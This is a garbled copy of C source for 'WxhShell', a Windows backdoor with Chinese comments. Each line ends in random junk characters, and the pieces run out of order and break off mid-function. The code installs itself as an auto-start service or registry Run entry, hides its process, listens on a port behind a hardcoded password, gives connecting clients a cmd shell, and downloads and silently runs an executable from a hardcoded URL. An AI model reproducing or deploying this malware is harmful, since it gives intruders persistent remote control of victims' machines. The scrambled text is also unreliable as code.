    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I3V>VLv  
    if(Boot(SHUTDOWN)) %S<( z5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k)R>5?_  
    else { k|}S K9  
    closesocket(wsh); "A?_)=zZ  
    ExitThread(0); '%"#]  
    } u +OfUBrf  
    break; v{2 Vg  
    } ^~dvA)bH  
  // 获取shell d\ Z#XzI8  
  case 's': { &Wup 7  
    CmdShell(wsh); ZVek`Cc2  
    closesocket(wsh); dO[w3\~  
    ExitThread(0); lC i_G3C  
    break; I"=XM   
  } /aB9pD+%  
  // 退出 O}3M+  
  case 'x': { %7?v='s=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OAQ'/{~7  
    CloseIt(wsh); 4q<:% 0M|  
    break; XJ;JDch  
    }  VSkx;P  
  // 离开 qqYH}%0dz  
  case 'q': { BDg6Z I<n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o*u A+7n  
    closesocket(wsh); ,uP1U@Cas  
    WSACleanup(); =>CrZ23B "  
    exit(1); h D/b O  
    break; ~U~4QQV  
        } ?%HtPm2< %  
  } xf@D<}~1  
  } Pne[>}_l/  
rLcQG  
  // 提示信息 .W&rcqy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <ZNa`  
} m H'jr$ ?  
  } &7X0 ;<  
>:`Y]6z  
  return; Q=9S?p M  
} LV 94i  
!m1pL0  
// shell模块句柄 |C S[>0mV!  
int CmdShell(SOCKET sock) .n`MPx'  
{ k>Qr 14F  
STARTUPINFO si; sh?Dxodp9  
ZeroMemory(&si,sizeof(si)); N3H!ptn37  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >}/"g x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +* )Qi)  
PROCESS_INFORMATION ProcessInfo; 8L 9;VY^Y  
char cmdline[]="cmd"; .{-8gAh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UgJ^NF2w  
  return 0; 1p&?MxLN-a  
} <96ih$5D1  
b,G+=&6u  
// 自身启动模式 Bd"7F{H  
int StartFromService(void) FO}4~_W{  
{ D@Fa~O$75  
typedef struct k 9Kv  
{ *.EtdcRo[  
  DWORD ExitStatus; Y^S0K'N  
  DWORD PebBaseAddress; (w% hz']  
  DWORD AffinityMask; c uquA ~  
  DWORD BasePriority; a(8]y.`Tv  
  ULONG UniqueProcessId; G$4lH>A&  
  ULONG InheritedFromUniqueProcessId; m= fmf(  
}   PROCESS_BASIC_INFORMATION; W9V%Xc`LQ  
AJ:@c7:eS  
PROCNTQSIP NtQueryInformationProcess; $b$r,mc  
yZFv pw|g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tQJ@//C\z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lLtC9:  
^O\tN\g;c  
  HANDLE             hProcess; aM.l+D P  
  PROCESS_BASIC_INFORMATION pbi; foE2rV/Y  
:yk Z7X&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i`8!Vm  
  if(NULL == hInst ) return 0; :eQx di'  
3g2t{ %  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZLKS4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NM ~e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *vsOL 4I%  
B?Y%y@.  
  if (!NtQueryInformationProcess) return 0; p|Rxy"}  
%v~j10e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7X}_yMxc  
  if(!hProcess) return 0; (DK pJCx  
J(/ eR,ak  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oRWsi/Zf  
:@b>,{*4zS  
  CloseHandle(hProcess); S^D ~A8u  
_W#27I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 05pCgI}F>  
if(hProcess==NULL) return 0; Z@C D1+G  
s9`T%pg  
HMODULE hMod; NK#Dq&W+&  
char procName[255]; N}F G%a  
unsigned long cbNeeded; !FpMO`m  
4 <]QMA0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e$>5GM  
F/EHU?_EI  
  CloseHandle(hProcess); 4N` MY8',  
#2HygS  
if(strstr(procName,"services")) return 1; // 以服务启动 aeBth{  
4VU5}"<  
  return 0; // 注册表启动 ~Nc] `95  
} "hlIGJ?_=  
oHi&Z$#!n  
// 主模块 s^KxAw_IV  
int StartWxhshell(LPSTR lpCmdLine) |+`hSA  
{ W+K=M*^D;c  
  SOCKET wsl; &*)tqQeQf  
BOOL val=TRUE; BTd'bD~EA  
  int port=0; x-Mp6  
  struct sockaddr_in door; 6o1.?t?  
QdW%5lM+  
  if(wscfg.ws_autoins) Install(); bNaJ{Dm$R  
4a2&kIn  
port=atoi(lpCmdLine); KP<J~+_ik  
":-)mfgGU  
if(port<=0) port=wscfg.ws_port; A<.Q&4jb  
#sqDZ]\B  
  WSADATA data; M;43F*   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9I.v?Tap  
.cZ&~ N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q75F^AvH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 09%eaoW  
  door.sin_family = AF_INET; %74 Ms  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hU=J^Gi0  
  door.sin_port = htons(port); Z(}x7jzW  
)uX:f8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1  yzxA(  
closesocket(wsl); jZ{S{"j  
return 1; |[{;*wtv  
} GO?-z0V  
~l}TlRqL  
  if(listen(wsl,2) == INVALID_SOCKET) { ^c(PZ,/#JB  
closesocket(wsl); G0(c@FBK  
return 1; ka>RAr J  
} KT g$^"\  
  Wxhshell(wsl); /p%K[)T(  
  WSACleanup(); ~hxB Pn."  
q]r!5&Z  
return 0; QKP9*dz  
k=~?!+p7  
} \W( p)M  
pKH4?F  
// 以NT服务方式启动 \ qs6%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W#lvH=y  
{ f^%E]ki  
DWORD   status = 0; y1 }d(%  
  DWORD   specificError = 0xfffffff; 3tm z2JIb  
x# YOz7.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Czci6 Lz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Sm Ei _u]'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H_AV3 ;  
  serviceStatus.dwWin32ExitCode     = 0; VG8rd'Z  
  serviceStatus.dwServiceSpecificExitCode = 0; O\D({>  
  serviceStatus.dwCheckPoint       = 0; no/]Me!j=  
  serviceStatus.dwWaitHint       = 0; \iL,l87  
tm|lqa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T*{zL  
  if (hServiceStatusHandle==0) return; R/Y/#X^b  
Cir =(  
status = GetLastError(); Ov<3?)ok  
  if (status!=NO_ERROR) xLD6A5n,[  
{ *xl7;s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ROjjN W`W  
    serviceStatus.dwCheckPoint       = 0; :>;ps R  
    serviceStatus.dwWaitHint       = 0; 4vX]c  
    serviceStatus.dwWin32ExitCode     = status; 9Y4N  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3=<iGX"z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #P4dx'vm  
    return; 7YN)T?  
  } a[$.B2U  
g~y9j88?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; apMYBbC  
  serviceStatus.dwCheckPoint       = 0; c0qv11,:t  
  serviceStatus.dwWaitHint       = 0; kCwTv:)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EIYM0vls(  
} U.)G #B  
!}P FiT^  
// 处理NT服务事件,比如:启动、停止 GY",AL8f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ( Lu.^  
{ >C-_Zv<!T\  
switch(fdwControl) c==Oio("  
{ *3ne(c  
case SERVICE_CONTROL_STOP: hZ'oCRM  
  serviceStatus.dwWin32ExitCode = 0; dikWk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x ?V/3zW  
  serviceStatus.dwCheckPoint   = 0; nfJ8Rt   
  serviceStatus.dwWaitHint     = 0; k41la?  
  { *M|\B|A.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z8j(SI;3  
  } qE`=^  
  return; rqFs[1wr>R  
case SERVICE_CONTROL_PAUSE: vl5n%m H>^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O7dFz)$  
  break; cyhD%sB[D9  
case SERVICE_CONTROL_CONTINUE: >b ["T+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5j{@2]i  
  break; avpw+M6+  
case SERVICE_CONTROL_INTERROGATE: @1@q6@9Tu  
  break; 0`P]fL+&  
}; Uo @NK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bF KP V%`  
} 1:Yt2]  
!1RV[b.8  
// 标准应用程序主函数 p\{+l;`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X]yERaJ,i  
{ 87K)qsv8  
]v{fFmL  
// 获取操作系统版本 NVj J/  
OsIsNt=GetOsVer(); }m9LyT=~$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ke ?uE  
VRX" @uCD  
  // 从命令行安装 bS<@Rd{g  
  if(strpbrk(lpCmdLine,"iI")) Install(); Jrk^J6aa  
}R1`ThTM  
  // 下载执行文件 H<;Fb;b  
if(wscfg.ws_downexe) { X}*o[;2G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aVP|:OAj  
  WinExec(wscfg.ws_filenam,SW_HIDE); >jX UO  
} Hk]BC  
tqQ0lv^J  
if(!OsIsNt) { 2\w=U,;(  
// 如果时win9x,隐藏进程并且设置为注册表启动 8`G{1lr4o  
HideProc(); &Bn; Vi  
StartWxhshell(lpCmdLine); ^@Qi&g`lr?  
} lk +K+Ra/  
else DVhTb  
  if(StartFromService()) 1qC:3 ;P  
  // 以服务方式启动 %]ayW$4  
  StartServiceCtrlDispatcher(DispatchTable); ,z1!~gIal  
else ,w%oSlOu  
  // 普通方式启动 z9ShP&^4[  
  StartWxhshell(lpCmdLine); 8sIrG  
B"PHJj  
return 0;  y"\,%.  
} w"v'dU^  
}%YHm9)  
4VNb`!e  
grQnV' q  
=========================================== olMO+-USP  
DnHAm q]  
Q H_W\W  
Tdwwtbe  
B~>cNj<  
=YGP%}_.p{  
" + |qfgi  
EyPJvs  
#include <stdio.h> Z va  
#include <string.h> &^IcL!t[  
#include <windows.h> EB>B,#  
#include <winsock2.h> ]zyX@=mM  
#include <winsvc.h> L)lQ&z?  
#include <urlmon.h> }[z<iij4  
v1r_Z($  
#pragma comment (lib, "Ws2_32.lib") )_v\{N  
#pragma comment (lib, "urlmon.lib") )@qup _M@  
(a}  
#define MAX_USER   100 // 最大客户端连接数 P=^#%7J/l  
#define BUF_SOCK   200 // sock buffer QP%kL*=8  
#define KEY_BUFF   255 // 输入 buffer 6!B^xm.R@  
(kC} ,}  
#define REBOOT     0   // 重启 tQ~<i %;  
#define SHUTDOWN   1   // 关机 6B''9V:s  
PDIclIMS'F  
#define DEF_PORT   5000 // 监听端口 5ttMua <G?  
KO|pJ3  
#define REG_LEN     16   // 注册表键长度 "W@XP+POAY  
#define SVC_LEN     80   // NT服务名长度 0i\',h}9  
8*yo7q&  
// 从dll定义API WE[m@K[CR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UQ3@@:L_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kwHqvO!G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VkpHzr[k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b(RB G  
0[lsoYUq  
// wxhshell配置信息  gt_X AH  
struct WSCFG { A)z PaXZ  
  int ws_port;         // 监听端口 ADGnBYE  
  char ws_passstr[REG_LEN]; // 口令 &|N%#pYS  
  int ws_autoins;       // 安装标记, 1=yes 0=no vWl[l -E  
  char ws_regname[REG_LEN]; // 注册表键名 0zbLc%  
  char ws_svcname[REG_LEN]; // 服务名 j`R<90~/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C.>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i<m$#6 <Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +~d1 ;0l|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1s`)yu^`v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U,<]J*b(@4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C ]'g:93L  
"#pzZ)Zh  
}; >+ ]R4  
f]8!DXEA  
// default Wxhshell configuration ejklpa ./  
struct WSCFG wscfg={DEF_PORT, $(gGoL<  
    "xuhuanlingzhe", &Vt2be*  
    1, &xiOTkqB  
    "Wxhshell", ;cI#S%uvpn  
    "Wxhshell", i-,D_   
            "WxhShell Service", d=XpO*v,[  
    "Wrsky Windows CmdShell Service", dC` tN5  
    "Please Input Your Password: ", URK!W?3c  
  1, rLJ[FqS  
  "http://www.wrsky.com/wxhshell.exe", &$qF4B*  
  "Wxhshell.exe" \Mb(6~nC  
    }; hCM8/Vvx6  
cJ(BiL-uF  
// 消息定义模块 M XZq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u 1ZJHry  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mX&xn2}qZ"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xsd $*F@<  
char *msg_ws_ext="\n\rExit."; \+k, :8s/  
char *msg_ws_end="\n\rQuit."; ^/>Wr'w   
char *msg_ws_boot="\n\rReboot..."; 4\N_ G @  
char *msg_ws_poff="\n\rShutdown..."; J/'M N  
char *msg_ws_down="\n\rSave to "; wE$s'e  
U:]MgZWn  
char *msg_ws_err="\n\rErr!"; AkrTfi4hC  
char *msg_ws_ok="\n\rOK!"; 84=-Lw  
yo'9x s  
char ExeFile[MAX_PATH]; X>8-` p  
int nUser = 0; M$Fth*q{GD  
HANDLE handles[MAX_USER]; MO[kr2T  
int OsIsNt; z)lM2x>|*  
pkXv.D`  
SERVICE_STATUS       serviceStatus; HU &)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HG2GZ}~^1  
[yw%ih)  
// 函数声明 i&`!|X-=R  
int Install(void); GQN98Y+h  
int Uninstall(void); lhqQ CV  
int DownloadFile(char *sURL, SOCKET wsh); XRa(sXA3  
int Boot(int flag); pW\z\o/2  
void HideProc(void); 4\M8BRuE  
int GetOsVer(void); }[ ].\G\G  
int Wxhshell(SOCKET wsl); !?nu?  
void TalkWithClient(void *cs); }^"0T-ua  
int CmdShell(SOCKET sock); %}C9  
int StartFromService(void); rA,CQypo  
int StartWxhshell(LPSTR lpCmdLine); G0}Dq M Ti  
\a\= gn   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JO2xT#V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `=79i$,,t  
-!c IesK;<  
// 数据结构和表定义 0p-#f|ET  
SERVICE_TABLE_ENTRY DispatchTable[] = FV A UR  
{ IX9K.f  
{wscfg.ws_svcname, NTServiceMain}, 0[/vQ+O]2  
{NULL, NULL} -kl;!:'.3  
}; 14  H'!$  
nbGoJC:U  
// 自我安装 c45tmul  
int Install(void) sAi&A9"*   
{ `(!NYx  
  char svExeFile[MAX_PATH]; j 1(T )T  
  HKEY key; Fn!SGX~kx$  
  strcpy(svExeFile,ExeFile); ibJl;sJ  
7JI:=yY!>:  
// 如果是win9x系统,修改注册表设为自启动 !z MDP/V  
if(!OsIsNt) { b^ sb]bZW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zmI5"K"'F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XA1f' Kk  
  RegCloseKey(key); J A`H@qE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f&ytK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FI{AZb_'  
  RegCloseKey(key); HT"gT2U+  
  return 0; xW>ySEf  
    } lkA^\ +Ct  
  } "cMNdR1^,y  
} /7gi/uh~-(  
else { ?Ko|dmX  
gg[ 9u-  
// 如果是NT以上系统,安装为系统服务 D`VFf\7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vclr2]eV4O  
if (schSCManager!=0) EMlIxpCn:  
{ "jR]MZ  
  SC_HANDLE schService = CreateService HzvlF0f  
  ( d&jjWlHgEN  
  schSCManager, BwxnDeG)  
  wscfg.ws_svcname, _A 2Lv]vfV  
  wscfg.ws_svcdisp, jWvtv ng  
  SERVICE_ALL_ACCESS, B'}"AC"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +8AvTSgX%  
  SERVICE_AUTO_START, *Y%Jl o  
  SERVICE_ERROR_NORMAL, n'K6vW3  
  svExeFile, FLZSK:3B]  
  NULL, J &YQ]l  
  NULL, =g~W%})  
  NULL, +tt9R_S  
  NULL, zA s&%OjG  
  NULL A59gIp*>  
  ); 9tK>gwb  
  if (schService!=0) KE.Dt  
  { /r^[a,Q#x  
  CloseServiceHandle(schService); dl0FQNz8@B  
  CloseServiceHandle(schSCManager); 0xCz'mJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q8xd*--#  
  strcat(svExeFile,wscfg.ws_svcname); hj!+HHYSk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b5pMq$UVL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~Ky4+\6o>  
  RegCloseKey(key); !][F  
  return 0; )(m0cP{7  
    } 5mgHlsDzu  
  } y-B=W]E  
  CloseServiceHandle(schSCManager); *C6D3y  
} [2 zt ^  
} {38\vX,I(w  
Z\? E3j  
return 1; aV6#t*\J  
}  c%f_.MiU  
&yIGr` ;  
// 自我卸载 s-rfS7;  
int Uninstall(void) =X1?_~}  
{ jL>:>r  
  HKEY key; 8W+5)m.tp  
2) ?q 58  
if(!OsIsNt) { WVX`<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qi9-z'  
  RegDeleteValue(key,wscfg.ws_regname); E0l _--  
  RegCloseKey(key); \+nGOvM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3`F) AWzdr  
  RegDeleteValue(key,wscfg.ws_regname); DBsDk kB{  
  RegCloseKey(key); gfy19c 9  
  return 0; g "hJ{{<  
  } vl:J40Kfn  
} s8<gK.atl  
} 4w$_ ]ke  
else { (\,BxvhG=  
osH Cg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #0"~G][#  
if (schSCManager!=0) +(?>-3_z  
{ U \oy8FZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kV&9`c+  
  if (schService!=0) aeP[+I9  
  { ^G|98yc!'  
  if(DeleteService(schService)!=0) { xT*d/Oaw  
  CloseServiceHandle(schService);  jz'<  
  CloseServiceHandle(schSCManager); 6bO~/mpWT~  
  return 0; a~ ]bD  
  } 'g)n1 {  
  CloseServiceHandle(schService); U|@V 74  
  } h7yqk4'Lq  
  CloseServiceHandle(schSCManager); Ev9 >@~^  
} ^G1%6\We  
} Yu3zM79'k  
~i~%~doa  
return 1; @jy41eIo  
} K#mOSY;}  
\7v)iG|#G&  
// 从指定url下载文件 QM<y`cZ8  
int DownloadFile(char *sURL, SOCKET wsh) K'5'}Lb5k  
{ G64Fx*`  
  HRESULT hr; V416g |lBO  
char seps[]= "/"; NHQF^2\\  
char *token; M+P$/Wk  
char *file; ^%>kO,  
char myURL[MAX_PATH]; m D58T2 Z  
char myFILE[MAX_PATH]; jd-glE,Y/  
K^[#]+nQ  
strcpy(myURL,sURL); {+.r5py  
  token=strtok(myURL,seps); |L6&Gf]#5  
  while(token!=NULL) S:bC[}  
  { aelO3'UN  
    file=token; _5Bcwa/  
  token=strtok(NULL,seps); 1B=>_3_  
  } ,*svtw:2')  
!Ng=Yk>3  
GetCurrentDirectory(MAX_PATH,myFILE); ~P*4V]L^  
strcat(myFILE, "\\"); /t%u"dP"T~  
strcat(myFILE, file); Iah[j,]r  
  send(wsh,myFILE,strlen(myFILE),0); tt_o$D~kg  
send(wsh,"...",3,0); SA"p\}"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <|B1wa:|  
  if(hr==S_OK) vH[47CvG5  
return 0; Nw_@A8-r  
else G}d-(X  
return 1; v-b0\_  
lUOvm\  
} $md%x mQ[  
c=O,;lWFqm  
// 系统电源模块 L1{GL #qV  
int Boot(int flag) K2)!h.W  
{ iBg3mc@OO  
  HANDLE hToken; uQ1@b-e`5  
  TOKEN_PRIVILEGES tkp; o{:xp r=(  
!YL. .fb  
  if(OsIsNt) { XOP"Px@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); / ~ %KVe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fxcc<h4  
    tkp.PrivilegeCount = 1; yay<GP?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YZf6|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &[vw 0N-  
if(flag==REBOOT) { (2ot5x}`j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g|X;ahTT  
  return 0; friWW ^  
} 1c4/}3*  
else { DOS0;^f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0|4%4 Mt  
  return 0; hwYQGtjF  
} H6*^Ga  
  } H`hnEOyLp  
  else { xM>W2  
if(flag==REBOOT) { _ gj&$zP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;*TIM%6#  
  return 0; S[3iA~)Z-  
} XN=67f$Hw  
else { ,_.I\EY[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }Db[ 4  
  return 0; 3g'S\ G@  
} %8~Q!=*Iq  
} C$h<Wt=<  
yOU(2"8p  
return 1; 2j JmE&)7,  
} s9;#!7ms  
6 gL=u-2  
// win9x进程隐藏模块 Rk<@?(l!6x  
void HideProc(void) E51dV:l  
{ }_/Hdmmx  
q%n6K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gN8hJG'0  
  if ( hKernel != NULL ) GYxM0~:$k  
  { 8H,4kY?Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]B"'}%>ez  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jdZ~z#`(!:  
    FreeLibrary(hKernel); !)"%),>}o  
  } RcG0 8p.)  
-H^oXeN  
return; mYN7kYR}<`  
} <#=N m0S$  
/@ !CKh`  
// 获取操作系统版本 :o-,SrORM  
int GetOsVer(void) E:sz$\Ht)  
{ Mv 544>:  
  OSVERSIONINFO winfo; EC2+`HJ"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EKEjv|_)  
  GetVersionEx(&winfo); $EZN1\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _ nA p6i  
  return 1; k(>h^  
  else {e[%;W%c&  
  return 0; =!O*/6rz  
} /tV/85r  
'FlJpA}  
// 客户端句柄模块 6=4wp?  
int Wxhshell(SOCKET wsl) El_wdbbT  
{ H&1[n U{?>  
  SOCKET wsh; 4 %PfrJ  
  struct sockaddr_in client; cMyiW$;  
  DWORD myID; Q$& sTM  
OaJB=J%  
  while(nUser<MAX_USER) S= R7`a<.5  
{ ~7~~S*EQ  
  int nSize=sizeof(client); x";w%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t*z~5_/  
  if(wsh==INVALID_SOCKET) return 1; hT$~ygQ  
qPB8O1fyU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tO7v4  
if(handles[nUser]==0) LTNj| u  
  closesocket(wsh); 3 !Sp0P  
else :q8b;*:  
  nUser++; 3czeTj  
  } [U}+sTQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [Vd[-  
*Do/+[Ae  
  return 0; ur :i)~wXn  
} u p.Q>28r  
l Z#o+d2Y  
// 关闭 socket lzw3=H  
void CloseIt(SOCKET wsh) ,NnhHb2\  
{ /? r?it  
closesocket(wsh); L;gO;vO  
nUser--; a#mNE*Dg  
ExitThread(0); .s#;s'>g  
} !d<"nx[2`  
a+hd(JX0~  
// 客户端请求句柄 j1_ @qns{  
void TalkWithClient(void *cs) RoCfJ65  
{ x~.:64  
~m|Mg9-  
  SOCKET wsh=(SOCKET)cs; KD/V aN  
  char pwd[SVC_LEN]; da1]mb=4 5  
  char cmd[KEY_BUFF];  K;LZ-  
char chr[1]; | 8qBm  
int i,j; /C/id)h>  
;'81jbh  
  while (nUser < MAX_USER) { Yvn\x ph3  
J_>w3uY  
if(wscfg.ws_passstr) { ;7N Z<k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \*,=S52  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sp@E8G%xO  
  //ZeroMemory(pwd,KEY_BUFF); kdb(I@6  
      i=0; 5{n*"88  
  while(i<SVC_LEN) { J8Yd1.Qj  
h3T9"w[  
  // 设置超时 -s6![eV  
  fd_set FdRead; )lJao  
  struct timeval TimeOut; a0Ik`8^`  
  FD_ZERO(&FdRead); rP!#RzL  
  FD_SET(wsh,&FdRead); VUI|.76g  
  TimeOut.tv_sec=8; + >cBVx6  
  TimeOut.tv_usec=0; %pXAeeSY`;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 54rkC/B>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $9S(_xdI&  
b)9'bJRvU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~rjTF!  
  pwd=chr[0]; 6sa"O89   
  if(chr[0]==0xd || chr[0]==0xa) { c5|:,wkx  
  pwd=0; OgF+O S  
  break; 'R&uD~Q  
  } - Ij&  
  i++; }E`dZW*!!  
    } q5>v'ZSo  
191&_*Xb  
  // 如果是非法用户,关闭 socket o[H{(f 1%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P>9aI/d9  
} &K/FyY5  
BL 3gKx.'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ",{ibh)g$`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F#|: `$ t  
Q:ezifQ  
while(1) { \;rYo.+  
8p-=&cuo\@  
  ZeroMemory(cmd,KEY_BUFF); :_Eqf8T  
/O ]t R  
      // 自动支持客户端 telnet标准   waKT{5k  
  j=0; P,sjo u^  
  while(j<KEY_BUFF) { ~q&pF"va8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :{(w3<i  
  cmd[j]=chr[0]; G<M:Ak+~  
  if(chr[0]==0xa || chr[0]==0xd) { h[Gg}N!  
  cmd[j]=0; &CwFdx:Ff  
  break; OM{WI27  
  } -gQCn>"  
  j++; m[k_>e\ u  
    } ki>~H!zB  
%p X6QRt?  
  // 下载文件 MQKfJru7  
  if(strstr(cmd,"http://")) { C ;(t/zh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R-^96fFBy  
  if(DownloadFile(cmd,wsh)) k<+0o))  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l|5fE1K9U  
  else vf4{$Oag  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w\}?(uO  
  } -Z-IF#%  
  else { >c-fI$]  
